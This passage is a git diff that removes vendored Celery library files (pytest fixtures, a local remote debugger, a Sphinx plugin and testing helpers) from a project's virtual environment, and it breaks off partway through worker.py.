- return Filterer( - app, conn, filter, - limit=limit, - timeout=timeout, - ack_messages=ack_messages, - tasks=tasks, - queues=queues, - callback=callback, - forever=forever, - on_declare_queue=on_declare_queue, - consume_from=consume_from, - state=state, - accept=accept, - **kwargs).start() - - -def move_task_by_id(task_id, dest, **kwargs): - """Find a task by id and move it to another queue. - - Arguments: - task_id (str): Id of task to find and move. - dest: (str, kombu.Queue): Destination queue. - transform (Callable): Optional function to transform the return - value (destination) of the filter function. - **kwargs (Any): Also supports the same keyword - arguments as :func:`move`. - """ - return move_by_idmap({task_id: dest}, **kwargs) - - -def move_by_idmap(map, **kwargs): - """Move tasks by matching from a ``task_id: queue`` mapping. - - Where ``queue`` is a queue to move the task to. - - Example: - >>> move_by_idmap({ - ... '5bee6e82-f4ac-468e-bd3d-13e8600250bc': Queue('name'), - ... 'ada8652d-aef3-466b-abd2-becdaf1b82b3': Queue('name'), - ... '3a2b140d-7db1-41ba-ac90-c36a0ef4ab1f': Queue('name')}, - ... queues=['hipri']) - """ - def task_id_in_map(body, message): - return map.get(message.properties['correlation_id']) - - # adding the limit means that we don't have to consume any more - # when we've found everything. - return move(task_id_in_map, limit=len(map), **kwargs) - - -def move_by_taskmap(map, **kwargs): - """Move tasks by matching from a ``task_name: queue`` mapping. - - ``queue`` is the queue to move the task to. - - Example: - >>> move_by_taskmap({ - ... 'tasks.add': Queue('name'), - ... 'tasks.mul': Queue('name'), - ... }) - """ - def task_name_in_map(body, message): - return map.get(body['task']) # <- name of task - - return move(task_name_in_map, **kwargs) - - -def filter_status(state, body, message, **kwargs): - print(MOVING_PROGRESS_FMT.format(state=state, body=body, **kwargs)) - - -move_direct = partial(move, transform=worker_direct) -move_direct_by_id = partial(move_task_by_id, transform=worker_direct) -move_direct_by_idmap = partial(move_by_idmap, transform=worker_direct) -move_direct_by_taskmap = partial(move_by_taskmap, transform=worker_direct) diff --git a/venv/Lib/site-packages/celery/contrib/pytest.py b/venv/Lib/site-packages/celery/contrib/pytest.py deleted file mode 100644 index d1f8279f9b098c170c87b59b479a90f9ffe5c085..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/pytest.py +++ /dev/null @@ -1,216 +0,0 @@ -"""Fixtures and testing utilities for :pypi:`pytest `.""" -import os -from contextlib import contextmanager -from typing import TYPE_CHECKING, Any, Mapping, Sequence, Union # noqa - -import pytest - -if TYPE_CHECKING: - from celery import Celery - - from ..worker import WorkController -else: - Celery = WorkController = object - - -NO_WORKER = os.environ.get('NO_WORKER') - -# pylint: disable=redefined-outer-name -# Well, they're called fixtures.... - - -def pytest_configure(config): - """Register additional pytest configuration.""" - # add the pytest.mark.celery() marker registration to the pytest.ini [markers] section - # this prevents pytest 4.5 and newer from issuing a warning about an unknown marker - # and shows helpful marker documentation when running pytest --markers. - config.addinivalue_line( - "markers", "celery(**overrides): override celery configuration for a test case" - ) - - -@contextmanager -def _create_app(enable_logging=False, - use_trap=False, - parameters=None, - **config): - # type: (Any, Any, Any, **Any) -> Celery - """Utility context used to setup Celery app for pytest fixtures.""" - - from .testing.app import TestApp, setup_default_app - - parameters = {} if not parameters else parameters - test_app = TestApp( - set_as_current=False, - enable_logging=enable_logging, - config=config, - **parameters - ) - with setup_default_app(test_app, use_trap=use_trap): - yield test_app - - -@pytest.fixture(scope='session') -def use_celery_app_trap(): - # type: () -> bool - """You can override this fixture to enable the app trap. - - The app trap raises an exception whenever something attempts - to use the current or default apps. - """ - return False - - -@pytest.fixture(scope='session') -def celery_session_app(request, - celery_config, - celery_parameters, - celery_enable_logging, - use_celery_app_trap): - # type: (Any, Any, Any, Any, Any) -> Celery - """Session Fixture: Return app for session fixtures.""" - mark = request.node.get_closest_marker('celery') - config = dict(celery_config, **mark.kwargs if mark else {}) - with _create_app(enable_logging=celery_enable_logging, - use_trap=use_celery_app_trap, - parameters=celery_parameters, - **config) as app: - if not use_celery_app_trap: - app.set_default() - app.set_current() - yield app - - -@pytest.fixture(scope='session') -def celery_session_worker( - request, # type: Any - celery_session_app, # type: Celery - celery_includes, # type: Sequence[str] - celery_class_tasks, # type: str - celery_worker_pool, # type: Any - celery_worker_parameters, # type: Mapping[str, Any] -): - # type: (...) -> WorkController - """Session Fixture: Start worker that lives throughout test suite.""" - from .testing import worker - - if not NO_WORKER: - for module in celery_includes: - celery_session_app.loader.import_task_module(module) - for class_task in celery_class_tasks: - celery_session_app.register_task(class_task) - with worker.start_worker(celery_session_app, - pool=celery_worker_pool, - **celery_worker_parameters) as w: - yield w - - -@pytest.fixture(scope='session') -def celery_enable_logging(): - # type: () -> bool - """You can override this fixture to enable logging.""" - return False - - -@pytest.fixture(scope='session') -def celery_includes(): - # type: () -> Sequence[str] - """You can override this include modules when a worker start. - - You can have this return a list of module names to import, - these can be task modules, modules registering signals, and so on. - """ - return () - - -@pytest.fixture(scope='session') -def celery_worker_pool(): - # type: () -> Union[str, Any] - """You can override this fixture to set the worker pool. - - The "solo" pool is used by default, but you can set this to - return e.g. "prefork". - """ - return 'solo' - - -@pytest.fixture(scope='session') -def celery_config(): - # type: () -> Mapping[str, Any] - """Redefine this fixture to configure the test Celery app. - - The config returned by your fixture will then be used - to configure the :func:`celery_app` fixture. - """ - return {} - - -@pytest.fixture(scope='session') -def celery_parameters(): - # type: () -> Mapping[str, Any] - """Redefine this fixture to change the init parameters of test Celery app. - - The dict returned by your fixture will then be used - as parameters when instantiating :class:`~celery.Celery`. - """ - return {} - - -@pytest.fixture(scope='session') -def celery_worker_parameters(): - # type: () -> Mapping[str, Any] - """Redefine this fixture to change the init parameters of Celery workers. - - This can be used e. g. to define queues the worker will consume tasks from. - - The dict returned by your fixture will then be used - as parameters when instantiating :class:`~celery.worker.WorkController`. - """ - return {} - - -@pytest.fixture() -def celery_app(request, - celery_config, - celery_parameters, - celery_enable_logging, - use_celery_app_trap): - """Fixture creating a Celery application instance.""" - mark = request.node.get_closest_marker('celery') - config = dict(celery_config, **mark.kwargs if mark else {}) - with _create_app(enable_logging=celery_enable_logging, - use_trap=use_celery_app_trap, - parameters=celery_parameters, - **config) as app: - yield app - - -@pytest.fixture(scope='session') -def celery_class_tasks(): - """Redefine this fixture to register tasks with the test Celery app.""" - return [] - - -@pytest.fixture() -def celery_worker(request, - celery_app, - celery_includes, - celery_worker_pool, - celery_worker_parameters): - # type: (Any, Celery, Sequence[str], str, Any) -> WorkController - """Fixture: Start worker in a thread, stop it when the test returns.""" - from .testing import worker - - if not NO_WORKER: - for module in celery_includes: - celery_app.loader.import_task_module(module) - with worker.start_worker(celery_app, - pool=celery_worker_pool, - **celery_worker_parameters) as w: - yield w - - -@pytest.fixture() -def depends_on_current_app(celery_app): - """Fixture that sets app as current.""" - celery_app.set_current() diff --git a/venv/Lib/site-packages/celery/contrib/rdb.py b/venv/Lib/site-packages/celery/contrib/rdb.py deleted file mode 100644 index 8ac8f70134ee654297f841ec8a3f3324cdbb4e65..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/rdb.py +++ /dev/null @@ -1,187 +0,0 @@ -"""Remote Debugger. - -Introduction -============ - -This is a remote debugger for Celery tasks running in multiprocessing -pool workers. Inspired by a lost post on dzone.com. - -Usage ------ - -.. code-block:: python - - from celery.contrib import rdb - from celery import task - - @task() - def add(x, y): - result = x + y - rdb.set_trace() - return result - -Environment Variables -===================== - -.. envvar:: CELERY_RDB_HOST - -``CELERY_RDB_HOST`` -------------------- - - Hostname to bind to. Default is '127.0.0.1' (only accessible from - localhost). - -.. envvar:: CELERY_RDB_PORT - -``CELERY_RDB_PORT`` -------------------- - - Base port to bind to. Default is 6899. - The debugger will try to find an available port starting from the - base port. The selected port will be logged by the worker. -""" -import errno -import os -import socket -import sys -from pdb import Pdb - -from billiard.process import current_process - -__all__ = ( - 'CELERY_RDB_HOST', 'CELERY_RDB_PORT', 'DEFAULT_PORT', - 'Rdb', 'debugger', 'set_trace', -) - -DEFAULT_PORT = 6899 - -CELERY_RDB_HOST = os.environ.get('CELERY_RDB_HOST') or '127.0.0.1' -CELERY_RDB_PORT = int(os.environ.get('CELERY_RDB_PORT') or DEFAULT_PORT) - -#: Holds the currently active debugger. -_current = [None] - -_frame = getattr(sys, '_getframe') - -NO_AVAILABLE_PORT = """\ -{self.ident}: Couldn't find an available port. - -Please specify one using the CELERY_RDB_PORT environment variable. -""" - -BANNER = """\ -{self.ident}: Ready to connect: telnet {self.host} {self.port} - -Type `exit` in session to continue. - -{self.ident}: Waiting for client... -""" - -SESSION_STARTED = '{self.ident}: Now in session with {self.remote_addr}.' -SESSION_ENDED = '{self.ident}: Session with {self.remote_addr} ended.' - - -class Rdb(Pdb): - """Remote debugger.""" - - me = 'Remote Debugger' - _prev_outs = None - _sock = None - - def __init__(self, host=CELERY_RDB_HOST, port=CELERY_RDB_PORT, - port_search_limit=100, port_skew=+0, out=sys.stdout): - self.active = True - self.out = out - - self._prev_handles = sys.stdin, sys.stdout - - self._sock, this_port = self.get_avail_port( - host, port, port_search_limit, port_skew, - ) - self._sock.setblocking(1) - self._sock.listen(1) - self.ident = f'{self.me}:{this_port}' - self.host = host - self.port = this_port - self.say(BANNER.format(self=self)) - - self._client, address = self._sock.accept() - self._client.setblocking(1) - self.remote_addr = ':'.join(str(v) for v in address) - self.say(SESSION_STARTED.format(self=self)) - self._handle = sys.stdin = sys.stdout = self._client.makefile('rw') - super().__init__(completekey='tab', - stdin=self._handle, stdout=self._handle) - - def get_avail_port(self, host, port, search_limit=100, skew=+0): - try: - _, skew = current_process().name.split('-') - skew = int(skew) - except ValueError: - pass - this_port = None - for i in range(search_limit): - _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - _sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - this_port = port + skew + i - try: - _sock.bind((host, this_port)) - except OSError as exc: - if exc.errno in [errno.EADDRINUSE, errno.EINVAL]: - continue - raise - else: - return _sock, this_port - raise Exception(NO_AVAILABLE_PORT.format(self=self)) - - def say(self, m): - print(m, file=self.out) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self._close_session() - - def _close_session(self): - self.stdin, self.stdout = sys.stdin, sys.stdout = self._prev_handles - if self.active: - if self._handle is not None: - self._handle.close() - if self._client is not None: - self._client.close() - if self._sock is not None: - self._sock.close() - self.active = False - self.say(SESSION_ENDED.format(self=self)) - - def do_continue(self, arg): - self._close_session() - self.set_continue() - return 1 - do_c = do_cont = do_continue - - def do_quit(self, arg): - self._close_session() - self.set_quit() - return 1 - do_q = do_exit = do_quit - - def set_quit(self): - # this raises a BdbQuit exception that we're unable to catch. - sys.settrace(None) - - -def debugger(): - """Return the current debugger instance, or create if none.""" - rdb = _current[0] - if rdb is None or not rdb.active: - rdb = _current[0] = Rdb() - return rdb - - -def set_trace(frame=None): - """Set break-point at current location, or a specified frame.""" - if frame is None: - frame = _frame().f_back - return debugger().set_trace(frame) diff --git a/venv/Lib/site-packages/celery/contrib/sphinx.py b/venv/Lib/site-packages/celery/contrib/sphinx.py deleted file mode 100644 index 0b1e6389af926ee551f43388ef9759d9e5c52046..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/sphinx.py +++ /dev/null @@ -1,139 +0,0 @@ -"""Sphinx documentation plugin used to document tasks. - -Introduction -============ - -Usage ------ - -The Celery extension for Sphinx requires Sphinx 2.0 or later. - -Add the extension to your :file:`docs/conf.py` configuration module: - -.. code-block:: python - - extensions = (..., - 'celery.contrib.sphinx') - -If you'd like to change the prefix for tasks in reference documentation -then you can change the ``celery_task_prefix`` configuration value: - -.. code-block:: python - - celery_task_prefix = '(task)' # < default - -With the extension installed `autodoc` will automatically find -task decorated objects (e.g. when using the automodule directive) -and generate the correct (as well as add a ``(task)`` prefix), -and you can also refer to the tasks using `:task:proj.tasks.add` -syntax. - -Use ``.. autotask::`` to alternatively manually document a task. - -Sphinx 9.0+ Compatibility -------------------------- - -Sphinx 9.0 introduced a rewritten autodoc implementation. The Celery -extension requires the legacy class-based autodoc mode to function -correctly. When using Sphinx 9.0 or later, add the following to your -:file:`conf.py`: - -.. code-block:: python - - autodoc_use_legacy_class_based = True - -The extension will automatically enable this setting if not configured, -but it is recommended to set it explicitly to avoid warnings. -""" -import warnings -from inspect import signature - -from docutils import nodes -from sphinx.domains.python import PyFunction, PyXRefRole -from sphinx.ext.autodoc import FunctionDocumenter - -from celery.app.task import BaseTask - - -class TaskDocumenter(FunctionDocumenter): - """Document task definitions.""" - - objtype = 'task' - member_order = 11 - - @classmethod - def can_document_member(cls, member, membername, isattr, parent): - return isinstance(member, BaseTask) and getattr(member, '__wrapped__') - - def format_args(self): - wrapped = getattr(self.object, '__wrapped__', None) - if wrapped is not None: - sig = signature(wrapped) - if "self" in sig.parameters or "cls" in sig.parameters: - sig = sig.replace(parameters=list(sig.parameters.values())[1:]) - return str(sig) - return '' - - def document_members(self, all_members=False): - pass - - def check_module(self): - # Normally checks if *self.object* is really defined in the module - # given by *self.modname*. But since functions decorated with the @task - # decorator are instances living in the celery.local, we have to check - # the wrapped function instead. - wrapped = getattr(self.object, '__wrapped__', None) - if wrapped and getattr(wrapped, '__module__') == self.modname: - return True - return super().check_module() - - -class TaskDirective(PyFunction): - """Sphinx task directive.""" - - def get_signature_prefix(self, sig): - return [nodes.Text(self.env.config.celery_task_prefix)] - - -def autodoc_skip_member_handler(app, what, name, obj, skip, options): - """Handler for autodoc-skip-member event.""" - # Celery tasks created with the @task decorator have the property - # that *obj.__doc__* and *obj.__class__.__doc__* are equal, which - # trips up the logic in sphinx.ext.autodoc that is supposed to - # suppress repetition of class documentation in an instance of the - # class. This overrides that behavior. - if isinstance(obj, BaseTask) and getattr(obj, '__wrapped__'): - if skip: - return False - return None - - -def setup(app): - """Setup Sphinx extension.""" - import sphinx - - app.setup_extension('sphinx.ext.autodoc') - - # Sphinx 9.0+ rewrote autodoc; TaskDocumenter requires legacy mode. - # See: https://www.sphinx-doc.org/en/master/usage/extensions/autodoc.html - sphinx_version = tuple(int(x) for x in sphinx.__version__.split('.')[:2]) - if sphinx_version >= (9, 0): - if not getattr(app.config, 'autodoc_use_legacy_class_based', False): - warnings.warn( - "Sphinx 9.0+ detected. celery.contrib.sphinx requires " - "'autodoc_use_legacy_class_based = True' in conf.py. " - "Enabling it automatically.", - UserWarning, - stacklevel=2 - ) - app.config.autodoc_use_legacy_class_based = True - - app.add_autodocumenter(TaskDocumenter) - app.add_directive_to_domain('py', 'task', TaskDirective) - app.add_role_to_domain('py', 'task', PyXRefRole(fix_parens=True)) - app.add_config_value('celery_task_prefix', '(task)', True) - app.connect('autodoc-skip-member', autodoc_skip_member_handler) - - return { - 'parallel_read_safe': True - } diff --git a/venv/Lib/site-packages/celery/contrib/testing/__init__.py b/venv/Lib/site-packages/celery/contrib/testing/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery/contrib/testing/app.py b/venv/Lib/site-packages/celery/contrib/testing/app.py deleted file mode 100644 index 95ed700b8ec2aec7d8c9e8296c8b414b5c91996f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/testing/app.py +++ /dev/null @@ -1,112 +0,0 @@ -"""Create Celery app instances used for testing.""" -import weakref -from contextlib import contextmanager -from copy import deepcopy - -from kombu.utils.imports import symbol_by_name - -from celery import Celery, _state - -#: Contains the default configuration values for the test app. -DEFAULT_TEST_CONFIG = { - 'worker_hijack_root_logger': False, - 'worker_log_color': False, - 'accept_content': {'json'}, - 'enable_utc': True, - 'timezone': 'UTC', - 'broker_url': 'memory://', - 'result_backend': 'cache+memory://', - 'broker_heartbeat': 0, -} - - -class Trap: - """Trap that pretends to be an app but raises an exception instead. - - This to protect from code that does not properly pass app instances, - then falls back to the current_app. - """ - - def __getattr__(self, name): - # Workaround to allow unittest.mock to patch this object - # in Python 3.8 and above. - if name == '_is_coroutine' or name == '__func__': - return None - print(name) - raise RuntimeError('Test depends on current_app') - - -class UnitLogging(symbol_by_name(Celery.log_cls)): - """Sets up logging for the test application.""" - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.already_setup = True - - -def TestApp(name=None, config=None, enable_logging=False, set_as_current=False, - log=UnitLogging, backend=None, broker=None, **kwargs): - """App used for testing.""" - from . import tasks # noqa - config = dict(deepcopy(DEFAULT_TEST_CONFIG), **config or {}) - if broker is not None: - config.pop('broker_url', None) - if backend is not None: - config.pop('result_backend', None) - log = None if enable_logging else log - test_app = Celery( - name or 'celery.tests', - set_as_current=set_as_current, - log=log, - broker=broker, - backend=backend, - **kwargs) - test_app.add_defaults(config) - return test_app - - -@contextmanager -def set_trap(app): - """Contextmanager that installs the trap app. - - The trap means that anything trying to use the current or default app - will raise an exception. - """ - trap = Trap() - prev_tls = _state._tls - _state.set_default_app(trap) - - class NonTLS: - current_app = trap - _state._tls = NonTLS() - - try: - yield - finally: - _state._tls = prev_tls - - -@contextmanager -def setup_default_app(app, use_trap=False): - """Setup default app for testing. - - Ensures state is clean after the test returns. - """ - prev_current_app = _state.get_current_app() - prev_default_app = _state.default_app - prev_finalizers = set(_state._on_app_finalizers) - prev_apps = weakref.WeakSet(_state._apps) - - try: - if use_trap: - with set_trap(app): - yield - else: - yield - finally: - _state.set_default_app(prev_default_app) - _state._tls.current_app = prev_current_app - if app is not prev_current_app: - app.close() - _state._on_app_finalizers = prev_finalizers - _state._apps = prev_apps diff --git a/venv/Lib/site-packages/celery/contrib/testing/manager.py b/venv/Lib/site-packages/celery/contrib/testing/manager.py deleted file mode 100644 index 23f43b160f8a747fa1053b918a7a40fa6d7f816b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/testing/manager.py +++ /dev/null @@ -1,239 +0,0 @@ -"""Integration testing utilities.""" -import socket -import sys -from collections import defaultdict -from functools import partial -from itertools import count -from typing import Any, Callable, Dict, Sequence, TextIO, Tuple # noqa - -from kombu.exceptions import ContentDisallowed -from kombu.utils.functional import retry_over_time - -from celery import states -from celery.exceptions import TimeoutError -from celery.result import AsyncResult, ResultSet # noqa -from celery.utils.text import truncate -from celery.utils.time import humanize_seconds as _humanize_seconds - -E_STILL_WAITING = 'Still waiting for {0}. Trying again {when}: {exc!r}' - -humanize_seconds = partial(_humanize_seconds, microseconds=True) - - -class Sentinel(Exception): - """Signifies the end of something.""" - - -class ManagerMixin: - """Mixin that adds :class:`Manager` capabilities.""" - - def _init_manager(self, - block_timeout=30 * 60.0, no_join=False, - stdout=None, stderr=None): - # type: (float, bool, TextIO, TextIO) -> None - self.stdout = sys.stdout if stdout is None else stdout - self.stderr = sys.stderr if stderr is None else stderr - self.connerrors = self.app.connection().recoverable_connection_errors - self.block_timeout = block_timeout - self.no_join = no_join - - def remark(self, s, sep='-'): - # type: (str, str) -> None - print(f'{sep}{s}', file=self.stdout) - - def missing_results(self, r): - # type: (Sequence[AsyncResult]) -> Sequence[str] - return [res.id for res in r if res.id not in res.backend._cache] - - def wait_for( - self, - fun, # type: Callable - catch, # type: Sequence[Any] - desc="thing", # type: str - args=(), # type: Tuple - kwargs=None, # type: Dict - errback=None, # type: Callable - max_retries=10, # type: int - interval_start=0.1, # type: float - interval_step=0.5, # type: float - interval_max=5.0, # type: float - emit_warning=False, # type: bool - **options # type: Any - ): - # type: (...) -> Any - """Wait for event to happen. - - The `catch` argument specifies the exception that means the event - has not happened yet. - """ - kwargs = {} if not kwargs else kwargs - - def on_error(exc, intervals, retries): - interval = next(intervals) - if emit_warning: - self.warn(E_STILL_WAITING.format( - desc, when=humanize_seconds(interval, 'in', ' '), exc=exc, - )) - if errback: - errback(exc, interval, retries) - return interval - - return self.retry_over_time( - fun, catch, - args=args, kwargs=kwargs, - errback=on_error, max_retries=max_retries, - interval_start=interval_start, interval_step=interval_step, - **options - ) - - def ensure_not_for_a_while(self, fun, catch, - desc='thing', max_retries=20, - interval_start=0.1, interval_step=0.02, - interval_max=1.0, emit_warning=False, - **options): - """Make sure something does not happen (at least for a while).""" - try: - return self.wait_for( - fun, catch, desc=desc, max_retries=max_retries, - interval_start=interval_start, interval_step=interval_step, - interval_max=interval_max, emit_warning=emit_warning, - ) - except catch: - pass - else: - raise AssertionError(f'Should not have happened: {desc}') - - def retry_over_time(self, *args, **kwargs): - return retry_over_time(*args, **kwargs) - - def join(self, r, propagate=False, max_retries=10, **kwargs): - if self.no_join: - return - if not isinstance(r, ResultSet): - r = self.app.ResultSet([r]) - received = [] - - def on_result(task_id, value): - received.append(task_id) - - for i in range(max_retries) if max_retries else count(0): - received[:] = [] - try: - return r.get(callback=on_result, propagate=propagate, **kwargs) - except (socket.timeout, TimeoutError) as exc: - waiting_for = self.missing_results(r) - self.remark( - 'Still waiting for {}/{}: [{}]: {!r}'.format( - len(r) - len(received), len(r), - truncate(', '.join(waiting_for)), exc), '!', - ) - except self.connerrors as exc: - self.remark(f'join: connection lost: {exc!r}', '!') - raise AssertionError('Test failed: Missing task results') - - def inspect(self, timeout=3.0): - return self.app.control.inspect(timeout=timeout) - - def query_tasks(self, ids, timeout=0.5): - tasks = self.inspect(timeout).query_task(*ids) or {} - yield from tasks.items() - - def query_task_states(self, ids, timeout=0.5): - states = defaultdict(set) - for hostname, reply in self.query_tasks(ids, timeout=timeout): - for task_id, (state, _) in reply.items(): - states[state].add(task_id) - return states - - def assert_accepted(self, ids, interval=0.5, - desc='waiting for tasks to be accepted', **policy): - return self.assert_task_worker_state( - self.is_accepted, ids, interval=interval, desc=desc, **policy - ) - - def assert_received(self, ids, interval=0.5, - desc='waiting for tasks to be received', **policy): - return self.assert_task_worker_state( - self.is_received, ids, interval=interval, desc=desc, **policy - ) - - def assert_result_tasks_in_progress_or_completed( - self, - async_results, - interval=0.5, - desc='waiting for tasks to be started or completed', - **policy - ): - return self.assert_task_state_from_result( - self.is_result_task_in_progress, - async_results, - interval=interval, desc=desc, **policy - ) - - def assert_task_state_from_result(self, fun, results, - interval=0.5, **policy): - return self.wait_for( - partial(self.true_or_raise, fun, results, timeout=interval), - (Sentinel,), **policy - ) - - @staticmethod - def is_result_task_in_progress(results, **kwargs): - possible_states = (states.STARTED, states.SUCCESS) - return all(result.state in possible_states for result in results) - - def assert_task_worker_state(self, fun, ids, interval=0.5, **policy): - return self.wait_for( - partial(self.true_or_raise, fun, ids, timeout=interval), - (Sentinel,), **policy - ) - - def is_received(self, ids, **kwargs): - return self._ids_matches_state( - ['reserved', 'active', 'ready'], ids, **kwargs) - - def is_accepted(self, ids, **kwargs): - return self._ids_matches_state(['active', 'ready'], ids, **kwargs) - - def _ids_matches_state(self, expected_states, ids, timeout=0.5): - states = self.query_task_states(ids, timeout=timeout) - return all( - any(t in s for s in [states[k] for k in expected_states]) - for t in ids - ) - - def true_or_raise(self, fun, *args, **kwargs): - res = fun(*args, **kwargs) - if not res: - raise Sentinel() - return res - - def wait_until_idle(self): - control = self.app.control - with self.app.connection() as connection: - # Try to purge the queue before we start - # to attempt to avoid interference from other tests - while True: - count = control.purge(connection=connection) - if count == 0: - break - - # Wait until worker is idle - inspect = control.inspect() - inspect.connection = connection - while True: - try: - count = sum(len(t) for t in inspect.active().values()) - except ContentDisallowed: - # test_security_task_done may trigger this exception - break - if count == 0: - break - - -class Manager(ManagerMixin): - """Test helpers for task integration tests.""" - - def __init__(self, app, **kwargs): - self.app = app - self._init_manager(**kwargs) diff --git a/venv/Lib/site-packages/celery/contrib/testing/mocks.py b/venv/Lib/site-packages/celery/contrib/testing/mocks.py deleted file mode 100644 index 4ec79145527e4350f6665b12549bed8b1eccda42..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/testing/mocks.py +++ /dev/null @@ -1,137 +0,0 @@ -"""Useful mocks for unit testing.""" -import numbers -from datetime import datetime, timedelta -from typing import Any, Mapping, Sequence # noqa -from unittest.mock import Mock - -from celery import Celery # noqa -from celery.canvas import Signature # noqa - - -def TaskMessage( - name, # type: str - id=None, # type: str - args=(), # type: Sequence - kwargs=None, # type: Mapping - callbacks=None, # type: Sequence[Signature] - errbacks=None, # type: Sequence[Signature] - chain=None, # type: Sequence[Signature] - shadow=None, # type: str - utc=None, # type: bool - **options # type: Any -): - # type: (...) -> Any - """Create task message in protocol 2 format.""" - kwargs = {} if not kwargs else kwargs - from kombu.serialization import dumps - - from celery import uuid - id = id or uuid() - message = Mock(name=f'TaskMessage-{id}') - message.headers = { - 'id': id, - 'task': name, - 'shadow': shadow, - } - embed = {'callbacks': callbacks, 'errbacks': errbacks, 'chain': chain} - message.headers.update(options) - message.content_type, message.content_encoding, message.body = dumps( - (args, kwargs, embed), serializer='json', - ) - message.payload = (args, kwargs, embed) - return message - - -def TaskMessage1( - name, # type: str - id=None, # type: str - args=(), # type: Sequence - kwargs=None, # type: Mapping - callbacks=None, # type: Sequence[Signature] - errbacks=None, # type: Sequence[Signature] - chain=None, # type: Sequence[Signature] - **options # type: Any -): - # type: (...) -> Any - """Create task message in protocol 1 format.""" - kwargs = {} if not kwargs else kwargs - from kombu.serialization import dumps - - from celery import uuid - id = id or uuid() - message = Mock(name=f'TaskMessage-{id}') - message.headers = {} - message.payload = { - 'task': name, - 'id': id, - 'args': args, - 'kwargs': kwargs, - 'callbacks': callbacks, - 'errbacks': errbacks, - } - message.payload.update(options) - message.content_type, message.content_encoding, message.body = dumps( - message.payload, - ) - return message - - -def task_message_from_sig(app, sig, utc=True, TaskMessage=TaskMessage): - # type: (Celery, Signature, bool, Any) -> Any - """Create task message from :class:`celery.Signature`. - - Example: - >>> m = task_message_from_sig(app, add.s(2, 2)) - >>> amqp_client.basic_publish(m, exchange='ex', routing_key='rkey') - """ - sig.freeze() - callbacks = sig.options.pop('link', None) - errbacks = sig.options.pop('link_error', None) - countdown = sig.options.pop('countdown', None) - if countdown: - eta = app.now() + timedelta(seconds=countdown) - else: - eta = sig.options.pop('eta', None) - if eta and isinstance(eta, datetime): - eta = eta.isoformat() - expires = sig.options.pop('expires', None) - if expires and isinstance(expires, numbers.Real): - expires = app.now() + timedelta(seconds=expires) - if expires and isinstance(expires, datetime): - expires = expires.isoformat() - return TaskMessage( - sig.task, id=sig.id, args=sig.args, - kwargs=sig.kwargs, - callbacks=[dict(s) for s in callbacks] if callbacks else None, - errbacks=[dict(s) for s in errbacks] if errbacks else None, - eta=eta, - expires=expires, - utc=utc, - **sig.options - ) - - -class _ContextMock(Mock): - """Dummy class implementing __enter__ and __exit__. - - The :keyword:`with` statement requires these to be implemented - in the class, not just the instance. - """ - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - pass - - -def ContextMock(*args, **kwargs): - """Mock that mocks :keyword:`with` statement contexts.""" - obj = _ContextMock(*args, **kwargs) - obj.attach_mock(_ContextMock(), '__enter__') - obj.attach_mock(_ContextMock(), '__exit__') - obj.__enter__.return_value = obj - # if __exit__ return a value the exception is ignored, - # so it must return None here. - obj.__exit__.return_value = None - return obj diff --git a/venv/Lib/site-packages/celery/contrib/testing/tasks.py b/venv/Lib/site-packages/celery/contrib/testing/tasks.py deleted file mode 100644 index a372a20f08dff0cf714180de38ea857f955fa6be..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/testing/tasks.py +++ /dev/null @@ -1,9 +0,0 @@ -"""Helper tasks for integration tests.""" -from celery import shared_task - - -@shared_task(name='celery.ping') -def ping(): - # type: () -> str - """Simple task that just returns 'pong'.""" - return 'pong' diff --git a/venv/Lib/site-packages/celery/contrib/testing/worker.py b/venv/Lib/site-packages/celery/contrib/testing/worker.py deleted file mode 100644 index 905a6a9ccdcf4c7f88573aeace1bfdf574dc6a15..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/testing/worker.py +++ /dev/null @@ -1,225 +0,0 @@ -"""Embedded workers for integration tests.""" -import logging -import os -import threading -from contextlib import contextmanager -from typing import Any, Iterable, Optional, Union - -import celery.worker.consumer # noqa -from celery import Celery, worker -from celery.result import _set_task_join_will_block, allow_join_result -from celery.utils.dispatch import Signal -from celery.utils.nodenames import anon_nodename - -WORKER_LOGLEVEL = os.environ.get('WORKER_LOGLEVEL', 'error') - -test_worker_starting = Signal( - name='test_worker_starting', - providing_args={}, -) -test_worker_started = Signal( - name='test_worker_started', - providing_args={'worker', 'consumer'}, -) -test_worker_stopped = Signal( - name='test_worker_stopped', - providing_args={'worker'}, -) - - -class TestWorkController(worker.WorkController): - """Worker that can synchronize on being fully started.""" - - # When this class is imported in pytest files, prevent pytest from thinking - # this is a test class - __test__ = False - - logger_queue = None - - def __init__(self, *args, **kwargs): - # type: (*Any, **Any) -> None - self._on_started = threading.Event() - - super().__init__(*args, **kwargs) - - # Defensive check: pool_cls may be a string (e.g., 'prefork') or a class - pool_module = self.pool_cls if isinstance(self.pool_cls, str) else self.pool_cls.__module__ - if pool_module.split('.')[-1] == 'prefork': - from billiard import Queue - self.logger_queue = Queue() - self.pid = os.getpid() - - try: - from tblib import pickling_support - pickling_support.install() - except ImportError: - pass - - # collect logs from forked process. - # XXX: those logs will appear twice in the live log - self.queue_listener = logging.handlers.QueueListener(self.logger_queue, logging.getLogger()) - self.queue_listener.start() - - class QueueHandler(logging.handlers.QueueHandler): - def prepare(self, record): - record.from_queue = True - # Keep origin record. - return record - - def handleError(self, record): - if logging.raiseExceptions: - raise - - def start(self): - if self.logger_queue: - handler = self.QueueHandler(self.logger_queue) - handler.addFilter(lambda r: r.process != self.pid and not getattr(r, 'from_queue', False)) - logger = logging.getLogger() - logger.addHandler(handler) - return super().start() - - def on_consumer_ready(self, consumer): - # type: (celery.worker.consumer.Consumer) -> None - """Callback called when the Consumer blueprint is fully started.""" - self._on_started.set() - test_worker_started.send( - sender=self.app, worker=self, 